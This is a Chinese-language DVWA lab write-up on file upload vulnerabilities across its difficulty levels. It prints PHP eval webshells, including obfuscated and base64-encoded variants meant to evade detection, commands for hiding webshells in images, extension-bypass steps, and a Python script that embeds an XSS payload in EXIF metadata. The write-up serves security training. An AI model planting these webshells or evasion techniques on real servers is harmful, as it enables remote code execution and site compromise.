目錄
LOW
Medium
HIgh
Impossible
?
概述
很多Web站點都有文件上傳的接口(比如注冊時上傳頭像等),由于沒有對上傳的文件類型進行嚴格限制,導致可以上傳一些文件(比如Webshell)。
上傳和SQL、XSS等都是主流的web手法。
?
代碼
代碼分析
$_FILES變量專門用于獲取上傳文件的各種信息。
$_FILES['uploaded']['name'],獲取客戶端文件的原名稱;
$_FILES['uploaded']['tmp_name']”,獲取文件被上傳后在服務端存儲的臨時文件名。
$target_path=DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
指定文件上傳路徑為“網站根目錄/hackable/uploads”
$target_path =$target_path. basename( $_FILES['uploaded']['name']);
指定上傳之后的文件名及保存路徑代碼分析及攻擊方法
move_uploaded_file($_FILES['uploaded']['tmp_name'],$target_path)
將上傳后的文件移動到變量Starget_path指定的新位置
在low級別中,沒有對上傳的文件進行任何過濾,可以直接將php木馬文件上傳到服
務器中。
?
?
LOW
源碼
寫shell
1.php
<?php @eval($_POST['cmd']);?># 隱蔽性編碼混淆
1.php
<?php $a='_PO'; $b='ST'; $c=$a.$b; @eval($c['cmd']);?> // 混淆變量名
<?php @eval(gzinflate(base64_decode('...')));?> // 結合編碼繞過檢測
上傳shell
getshell
冰蝎getshell
?
上傳圖片shell(Apache 的多后綴解析機制造成解析漏洞:1.php.png逐層解析)
# Linux/mac
# 或用二進制編輯工具在圖片尾部添加代碼
echo "<?php @eval($_POST['cmd']);?>" >> 1.php.gif# Win
1.jpg
1.php :<?php @eval($_POST['cmd']);?># 二進制形式合并
CMD>copy /b 1.jpg + 1.php a.jpg
?
Medium
源碼
上傳xx.jpeg抓包
修改后綴發送
蟻劍連接
?
?
HIgh
源碼
上傳一個隨便改后綴為圖片格式的東西
上傳圖片馬
copy /b 1.png + 11.php a.jpeg
抓包修改后綴
Impossible
源碼
嘗試利用圖片元數據
b.py+同目錄下放一個正常xxx.jpg==注入元數據合成而已jpg
import os
import piexif# 打印當前工作目錄(用于調試)
print(f"當前工作目錄:{os.getcwd()}")# 獲取腳本所在目錄
script_dir = os.path.dirname(os.path.abspath(__file__))
# 配置路徑(使用 .jpg 擴展名)
ORIGINAL_IMAGE = os.path.join(script_dir, "test.jpg") # 使用 .jpg 擴展名
OUTPUT_IMAGE = os.path.join(script_dir, "exploit.jpg")def create_malicious_image():try:# 檢查原始圖像是否存在if not os.path.exists(ORIGINAL_IMAGE):raise FileNotFoundError(f"文件不存在: {ORIGINAL_IMAGE}")with open(ORIGINAL_IMAGE, "rb") as f:img_data = f.read()# 驗證JPEG文件結尾if len(img_data) < 2 or img_data[-2:] != b"\xFF\xD9":print(f"文件長度: {len(img_data)} 字節")print(f"最后兩個字節: {img_data[-2:].hex()}")raise ValueError("無效的JPEG文件,缺少結束符 \xFF\xD9")# 創建惡意EXIF數據exif_dict = {"0th": {piexif.ImageIFD.ImageDescription: "<script>alert('XSS');</script>"}}exif_bytes = piexif.dump(exif_dict)# 拼接數據modified_data = img_data[:-2] + exif_bytes + b"\xFF\xD9"# 寫入新圖像with open(OUTPUT_IMAGE, "wb") as f:f.write(modified_data)print(f"成功生成惡意圖像:{OUTPUT_IMAGE}")except FileNotFoundError as e:print(f"錯誤:{e}")except ValueError as e:print(f"格式錯誤:{e}")except Exception as e:print(f"未知錯誤:{e}")if __name__ == "__main__":create_malicious_image()
上傳
點擊圖片鏈接F12
控制臺啥也沒看到,估計元數據被清除了
exiftool工具查看上傳上去的圖片元數據
正常:沒看到輸出
exif_dict = {"GPS": {0x0001: b"<script>alert('Custom XSS');</script>" # 這里假設用0x0001作為自定義標簽編號}
}
Image Description : <script>alert('XSS');</script>
?
GD函數庫
// 此處使用GD庫處理JPEG圖像
if( $uploaded_type == 'image/jpeg' ) {// imagecreatefromjpeg() - GD庫函數,從JPEG文件創建圖像資源// 此函數會解析圖像像素數據,但會忽略原文件中的EXIF等元數據$img = imagecreatefromjpeg( $uploaded_tmp );// imagejpeg() - GD庫函數,將圖像資源保存為JPEG文件// 此函數會重新編碼圖像,且不會保留原始的EXIF元數據imagejpeg( $img, $temp_file, 100);
}
else {// 此處使用GD庫處理PNG圖像// imagecreatefrompng() - GD庫函數,從PNG文件創建圖像資源$img = imagecreatefrompng( $uploaded_tmp );// imagepng() - GD庫函數,將圖像資源保存為PNG文件imagepng( $img, $temp_file, 9);
}
// 釋放圖像資源,避免內存泄漏
imagedestroy( $img );
$image = new Imagick($uploaded_tmp);
$image->stripImage(); // 徹底移除所有元數據
$image->writeImage($temp_file);
?
?
?
?
?
?
?
?
?
?
?
?